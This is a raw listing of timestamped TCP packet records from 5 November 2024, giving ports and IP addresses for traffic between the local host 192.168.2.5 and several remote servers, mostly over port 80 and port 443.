Nov 5, 2024 10:13:54.432631016 CET	50033	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:54.432638884 CET	443	50033	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:54.432902098 CET	50033	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:54.433058977 CET	50033	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:54.433069944 CET	443	50033	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:54.443115950 CET	50016	443	192.168.2.5	20.125.209.212
Nov 5, 2024 10:13:54.444192886 CET	443	50018	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.467982054 CET	443	50015	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:54.468460083 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.468472004 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.468482971 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.468513012 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.468574047 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.468744040 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.468772888 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.468782902 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.468787909 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.468807936 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.468831062 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.468910933 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.468923092 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.468934059 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.468945980 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.468956947 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.468961954 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.468967915 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.468978882 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.468986988 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.468991041 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.469001055 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.469002962 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.469031096 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.469039917 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.469686031 CET	50015	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:54.469695091 CET	443	50015	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:54.469696045 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.469708920 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.469744921 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.469820976 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.469831944 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.469842911 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.469854116 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.469860077 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.469877005 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.469906092 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.470668077 CET	443	50015	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:54.470757008 CET	50015	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:54.471899986 CET	50015	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:54.471956968 CET	443	50015	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:54.472441912 CET	50015	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:54.472462893 CET	443	50015	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:54.472470045 CET	50015	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:54.472508907 CET	443	50015	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:54.490139961 CET	50018	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.511404991 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.511425018 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.511435032 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.511471033 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.511506081 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.512403011 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.512413979 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.512423992 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.512455940 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.512485981 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.517353058 CET	50015	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:54.540414095 CET	443	50016	20.125.209.212	192.168.2.5
Nov 5, 2024 10:13:54.545085907 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545137882 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.545145988 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545156956 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545195103 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.545222044 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545233965 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545245886 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545253038 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545259953 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545259953 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.545270920 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545285940 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.545320988 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.545403957 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545461893 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.545489073 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545500994 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545527935 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.545540094 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.545552015 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545562029 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545573950 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545587063 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545594931 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.545612097 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.545639038 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.545655966 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.545767069 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.563867092 CET	443	50016	20.125.209.212	192.168.2.5
Nov 5, 2024 10:13:54.564155102 CET	50016	443	192.168.2.5	20.125.209.212
Nov 5, 2024 10:13:54.585721970 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.585786104 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.585797071 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.585839987 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.585865974 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.585876942 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.585890055 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.585906982 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.585913897 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.585921049 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.585928917 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.585932970 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.585946083 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.585961103 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.585979939 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.586512089 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.586525917 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.586538076 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.586550951 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.586563110 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.586592913 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.586847067 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.586901903 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.586930990 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.586942911 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.586955070 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.586966038 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.586971998 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.587004900 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.587347984 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.587500095 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.587642908 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.587685108 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.598016977 CET	50018	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.598031998 CET	443	50018	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.598850965 CET	50018	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.598855972 CET	443	50018	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.607234955 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.607259035 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.607274055 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.607311010 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.607332945 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.607347012 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.607372999 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.608208895 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.608230114 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.608242035 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.608251095 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.608275890 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.608285904 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.608297110 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.608330011 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.608357906 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.613718033 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.613734961 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.613754988 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.613795996 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.613806009 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.613852024 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.615601063 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.615617037 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.615669966 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.615674019 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.615677118 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.615688086 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.615725994 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.615725040 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.615732908 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.615763903 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.615803003 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.616265059 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.616312027 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.616322041 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.616364956 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.617888927 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.617908955 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.617937088 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.617986917 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.618005037 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.618036985 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.626534939 CET	50034	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:54.626558065 CET	443	50034	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:54.626611948 CET	50034	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:54.626926899 CET	50034	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:54.626940966 CET	443	50034	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:54.628598928 CET	443	50014	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:54.628617048 CET	443	50014	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:54.628693104 CET	50014	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:54.628704071 CET	443	50014	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:54.628788948 CET	50014	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:54.628950119 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.628983974 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.629005909 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.629017115 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.629380941 CET	50035	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:54.629410028 CET	443	50035	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:54.629633904 CET	50035	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:54.629718065 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.629760027 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.629761934 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.629770041 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.629800081 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.629818916 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.630208969 CET	50035	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:54.630220890 CET	443	50035	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:54.630817890 CET	50014	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:54.630856037 CET	443	50014	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:54.631004095 CET	443	50014	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:54.631059885 CET	50014	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:54.631072044 CET	50014	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:54.633920908 CET	50016	443	192.168.2.5	20.125.209.212
Nov 5, 2024 10:13:54.633932114 CET	443	50016	20.125.209.212	192.168.2.5
Nov 5, 2024 10:13:54.651709080 CET	443	50015	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:54.652144909 CET	50015	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:54.652183056 CET	443	50015	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:54.652235031 CET	50015	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:54.661761999 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.661773920 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.661787033 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.661823034 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.661849022 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.661853075 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.661870956 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.661889076 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.661891937 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.661900997 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.661906004 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.661912918 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.661925077 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.661925077 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.661936045 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.661943913 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.661953926 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.661981106 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.662295103 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.665102959 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.665159941 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.665174961 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.665260077 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.665271997 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.665283918 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.665296078 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.665302992 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.665322065 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.665333033 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.665333986 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.665345907 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.665366888 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.665383101 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.666022062 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.666155100 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.685679913 CET	443	50022	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.686121941 CET	50022	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.686141968 CET	443	50022	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.686799049 CET	50022	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.686803102 CET	443	50022	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.696259975 CET	443	50023	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.696640968 CET	50023	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.696655989 CET	443	50023	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.697148085 CET	50023	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.697153091 CET	443	50023	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.701663017 CET	443	50024	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.702132940 CET	50024	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.702152014 CET	443	50024	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.702657938 CET	50024	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.702663898 CET	443	50024	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.702817917 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.702831984 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.702843904 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.702888012 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.702898979 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.702910900 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.702922106 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.702925920 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.702950954 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.702974081 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.703150988 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.703162909 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.703174114 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.703186035 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.703196049 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.703227997 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.703552961 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.703572035 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.703583002 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.703604937 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.703617096 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.703628063 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.703639984 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.703643084 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.703649044 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.703659058 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.703680038 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.704315901 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.704371929 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.704387903 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.704399109 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.704417944 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.704427958 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.704435110 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.704452991 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.704471111 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.725176096 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.725195885 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.725231886 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.725239992 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.725265980 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.725280046 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.725537062 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.725554943 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.725589991 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.725604057 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.725625992 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.725642920 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.731228113 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.731244087 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.731281996 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.731287003 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.731324911 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.731338024 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.731420040 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.731436014 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.731486082 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.731507063 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.731542110 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.732981920 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.733046055 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.733270884 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.733289957 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.733349085 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.733355045 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.733396053 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.733400106 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.733405113 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.733453989 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.733459949 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.733473063 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.733515978 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.734311104 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.734333992 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.734391928 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.734406948 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.734435081 CET	50020	443	192.168.2.5	23.47.50.150
